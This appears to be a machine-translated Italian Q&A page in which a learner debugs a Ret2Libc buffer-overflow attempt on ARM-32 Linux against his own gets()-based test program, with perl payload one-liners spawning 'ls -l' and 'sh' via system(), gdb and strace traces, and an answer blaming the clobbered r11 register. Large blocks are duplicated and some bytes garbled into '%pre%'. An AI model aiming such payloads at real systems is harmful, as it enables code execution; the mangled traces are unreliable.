BOF su ARM Linux - Il tentativo di Ret2Libc con system (3) fallisce a causa del parametro nullificato

2

Nello spirito di acquisire una profonda comprensione, ho letto e lavorato su alcuni piccoli hack che coinvolgono gli attacchi Buffer OverFlow (BOF), in particolare, su un sistema ARM-32, tramite l'attacco in stile Ret2Libc.

Funziona tutto molto bene fino a un certo punto. La tecnica di base (gli esperti possono saltare tutto questo ovviamente): -utilizzare deliberatamente un "cattivo" api-gets () nella funzione fo foo () sotto - in modo che si possa facilmente traboccare il suo buffer; passiamo con attenzione un buffer creato al programma:

perl -e 'print "ls -l" . "\x00"x11 . "\xac\xff\xe9\x76"' | ./arm_bof_vuln

dove 0x76e9ffac è l'indirizzo della funzione glibc 'system ()'. (sì ho anche provato questo con ASLR disabilitato).

Env: a) Un ARM926EJ-S rev 5 (v5l) (ARM-32) emulato da Qemu che esegue il 4.8.12-yocto-standard kernel Linux costruito con Yocto Poky!

b) un modello B di Raspberry Pi 3 su cui è in esecuzione Raspbian 8.

IL PROBLEMA: l'esecuzione procede come previsto, effettivamente inserisce il codice del sistema (3); Ho verificato ciò anche tramite il single-stepping del codice (su Yocto build con debug abilitato).

Il problema: il parametro passato a do_system () si sta azzerando [??]. Ho inoltre verificato che questo è davvero il caso (con stepping singolo e strace -ing).

Si veda un esempio di esecuzione di seguito su R Pi e un sistema basato su Yocto:

-i uso un file (rpi_input3.bin) per alimentare l'input, che in pratica è: "ls -l". "\ x00" x11. "\ Xac \ xff \ xe9 \ x76"

Il codice "C" arm_buf_vuln.c:

static void foo(void)
{
    char local[12];
    gets(local);
}

int main (int argc, char **argv)
{
    foo();
    exit (EXIT_SUCCESS);
}

Sessione di esempio su R Pi:

RPi # gdb -q ./arm_bof_vuln
Reading symbols from ./arm_bof_vuln...(no debugging symbols found)...done.
(gdb) disassemble foo
Dump of assembler code for function foo:
   0x00010494 <+0>: push    {r11, lr}
   0x00010498 <+4>: add r11, sp, #4
   0x0001049c <+8>: sub sp, sp, #16
   0x000104a0 <+12>:    sub r3, r11, #16
   0x000104a4 <+16>:    mov r0, r3
   0x000104a8 <+20>:    bl  0x1030c
   0x000104ac <+24>:    sub sp, r11, #4
   0x000104b0 <+28>:    pop {r11, pc}
End of assembler dump.
(gdb) b *0x104b0
Breakpoint 1 at 0x104b0
(gdb) r < rpi_input3.bin 
Starting program: /home/pi/myprj/arm_bof/arm_bof_vuln < rpi_input3.bin

Breakpoint 1, 0x000104b0 in foo ()
(gdb) xs
x/8x $sp
0x7efff528: 0x00000000  0x76e9ffac  0x7efff600  0x00000001
0x7efff538: 0x00000000  0x76e7e294  0x76fa3000  0x7efff694
x/8x $sp-12
0x7efff51c: 0x2d20736c  0x0000006c  0x00000000  0x00000000
0x7efff52c: 0x76e9ffac  0x7efff600  0x00000001  0x00000000
(gdb) p/x $r0
$1 = 0x7efff51c
(gdb) si
__libc_system (line=0x7efff51c "ls -l") at ../sysdeps/posix/system.c:179

< < NOTA- a questo punto, il parametro su system () è corretto! Ma, in realtà, viene annullato in seguito > >

179 ../sysdeps/posix/system.c: No such file or directory.
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x76ed221c in _IO_new_file_underflow (fp=0x10354 <_start>) at fileops.c:612
612 fileops.c: No such file or directory.
(gdb) bt
#0  0x76ed221c in _IO_new_file_underflow (fp=0x10354 <_start>) at fileops.c:612
#1  0x000104b4 in foo ()
(gdb) 

Su un sistema Yocto, lo snippet di output strace:

# perl -e 'print "sh" . "\x00"x14 . "\x78\x90\x8f\x49"' | strace -vf  << -v: verbose 
                                                       -f: follow any children >>
  ./arm_bof_vuln
execve("./arm_bof_vuln", ["./arm_bof_vuln"], ["HZ=100", "SHELL=/bin/sh", "TERM=linux", "HUSHLOGIN=FALSE", "OLDPWD=/home/root", "USER=root", "PATH=/usr/local/bin:/usr/bin:/bi"..., "PWD=/home/root/arm_bof_vuln", "EDITOR=vi", "PS1=Yocto # ", "SHLVL=1", "HOME=/home/root", "BASH_ENV=/home/root/.bashrc", "LOGNAME=root", "_=/usr/bin/strace"]) = 0
brk(NULL)                               = 0x21000

[...]

brk(NULL)                               = 0x21000
brk(0x43000)                            = 0x43000
read(0, "sh
perl -e 'print "ls -l" . "\x00"x11 . "\xac\xff\xe9\x76"' | ./arm_bof_vuln
static void foo(void)
{
    char local[12];
    gets(local);
}

int main (int argc, char **argv)
{
    foo();
    exit (EXIT_SUCCESS);
}
RPi # gdb -q ./arm_bof_vuln
Reading symbols from ./arm_bof_vuln...(no debugging symbols found)...done.
(gdb) disassemble foo
Dump of assembler code for function foo:
   0x00010494 <+0>: push    {r11, lr}
   0x00010498 <+4>: add r11, sp, #4
   0x0001049c <+8>: sub sp, sp, #16
   0x000104a0 <+12>:    sub r3, r11, #16
   0x000104a4 <+16>:    mov r0, r3
   0x000104a8 <+20>:    bl  0x1030c
   0x000104ac <+24>:    sub sp, r11, #4
   0x000104b0 <+28>:    pop {r11, pc}
End of assembler dump.
(gdb) b *0x104b0
Breakpoint 1 at 0x104b0
(gdb) r < rpi_input3.bin 
Starting program: /home/pi/myprj/arm_bof/arm_bof_vuln < rpi_input3.bin

Breakpoint 1, 0x000104b0 in foo ()
(gdb) xs
x/8x $sp
0x7efff528: 0x00000000  0x76e9ffac  0x7efff600  0x00000001
0x7efff538: 0x00000000  0x76e7e294  0x76fa3000  0x7efff694
x/8x $sp-12
0x7efff51c: 0x2d20736c  0x0000006c  0x00000000  0x00000000
0x7efff52c: 0x76e9ffac  0x7efff600  0x00000001  0x00000000
(gdb) p/x $r0
$1 = 0x7efff51c
(gdb) si
__libc_system (line=0x7efff51c "ls -l") at ../sysdeps/posix/system.c:179
179 ../sysdeps/posix/system.c: No such file or directory.
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x76ed221c in _IO_new_file_underflow (fp=0x10354 <_start>) at fileops.c:612
612 fileops.c: No such file or directory.
(gdb) bt
#0  0x76ed221c in _IO_new_file_underflow (fp=0x10354 <_start>) at fileops.c:612
#1  0x000104b4 in foo ()
(gdb) 
# perl -e 'print "sh" . "\x00"x14 . "\x78\x90\x8f\x49"' | strace -vf  << -v: verbose 
                                                       -f: follow any children >>
  ./arm_bof_vuln
execve("./arm_bof_vuln", ["./arm_bof_vuln"], ["HZ=100", "SHELL=/bin/sh", "TERM=linux", "HUSHLOGIN=FALSE", "OLDPWD=/home/root", "USER=root", "PATH=/usr/local/bin:/usr/bin:/bi"..., "PWD=/home/root/arm_bof_vuln", "EDITOR=vi", "PS1=Yocto # ", "SHLVL=1", "HOME=/home/root", "BASH_ENV=/home/root/.bashrc", "LOGNAME=root", "_=/usr/bin/strace"]) = 0
brk(NULL)                               = 0x21000

[...]

brk(NULL)                               = 0x21000
brk(0x43000)                            = 0x43000
read(0, "sh%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%x07I", 4096) = 20  << this is the gets() !  
                               reading in 20 bytes, passed via the pipe from perl... >>
read(0, "", 4096)                       = 0
rt_sigaction(SIGINT, {SIG_IGN, [], SA_RESTORER, 0x498ee1e0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN, [], SA_RESTORER, 0x498ee1e0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
clone(child_stack=NULL, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xbefffa48) = 797   
   << the code of the lib function system(3) calls fork(2) which becomes clone(2) >>
wait4(797, strace: Process 797 attached
 <unfinished ...>  << strace -f takes effect – the child is being followed below >>
[pid   797] rt_sigaction(SIGINT, {SIG_DFL, [], SA_RESTORER, 0x498ee1e0}, NULL, 8) = 0
[pid   797] rt_sigaction(SIGQUIT, {SIG_DFL, [], SA_RESTORER, 0x498ee1e0}, NULL, 8) = 0
[pid   797] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0

  << here: the parameter to execve() is null ! Hence, it fails >>

[pid   797] execve("/bin/sh", ["sh", "-c", ""], ["HZ=100", "SHELL=/bin/sh", "TERM=linux", "HUSHLOGIN=FALSE", "OLDPWD=/home/root", "USER=root", "PATH=/usr/local/bin:/usr/bin:/bi"..., "PWD=/home/root/arm_bof_vuln", "EDITOR=vi", "PS1=Yocto # ", "SHLVL=1", "HOME=/home/root", "BASH_ENV=/home/root/.bashrc", "LOGNAME=root", "_=/usr/bin/strace"]) = 0
...
%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%x07I", 4096) = 20 << this is the gets() ! reading in 20 bytes, passed via the pipe from perl... >> read(0, "", 4096) = 0 rt_sigaction(SIGINT, {SIG_IGN, [], SA_RESTORER, 0x498ee1e0}, {SIG_DFL, [], 0}, 8) = 0 rt_sigaction(SIGQUIT, {SIG_IGN, [], SA_RESTORER, 0x498ee1e0}, {SIG_DFL, [], 0}, 8) = 0 rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0 clone(child_stack=NULL, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xbefffa48) = 797 << the code of the lib function system(3) calls fork(2) which becomes clone(2) >> wait4(797, strace: Process 797 attached <unfinished ...> << strace -f takes effect – the child is being followed below >> [pid 797] rt_sigaction(SIGINT, {SIG_DFL, [], SA_RESTORER, 0x498ee1e0}, NULL, 8) = 0 [pid 797] rt_sigaction(SIGQUIT, {SIG_DFL, [], SA_RESTORER, 0x498ee1e0}, NULL, 8) = 0 [pid 797] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0 << here: the parameter to execve() is null ! Hence, it fails >> [pid 797] execve("/bin/sh", ["sh", "-c", ""], ["HZ=100", "SHELL=/bin/sh", "TERM=linux", "HUSHLOGIN=FALSE", "OLDPWD=/home/root", "USER=root", "PATH=/usr/local/bin:/usr/bin:/bi"..., "PWD=/home/root/arm_bof_vuln", "EDITOR=vi", "PS1=Yocto # ", "SHLVL=1", "HOME=/home/root", "BASH_ENV=/home/root/.bashrc", "LOGNAME=root", "_=/usr/bin/strace"]) = 0 ...

Perché il parametro viene annullato? TIA!

    
posta kaiwan 01.03.2017 - 17:51
fonte

1 risposta

2

Un eccellente tutorial sullo smashing dello stack buffer, se non lo hai già letto, è Smashing the Stack per divertimento e profitto .

Ciò che hai configurato sembra essere per lo più corretto (memorizzare nuovi argomenti sullo stack, trovare il buffer dello stack, iniettare l'indirizzo della funzione target nella posizione del pc salvato). Penso che il problema potrebbe essere con il registro salvato da callee r11 , che viene ripristinato su tutti gli zeri dall'overflow dello stack quando foo ritorna a system :

0x000104b0 <+28>:    pop {r11, pc}

Vorrei controllare il suo valore prima / dopo gets e vedere se il ripristino risolve il problema. In tal caso, questo codice ha generato un cookie di stack non intenzionale, come risultato del tentativo di ottimizzare per convenzioni / registri di chiamate ARM.

    
risposta data 20.03.2017 - 23:44
fonte

Leggi altre domande sui tag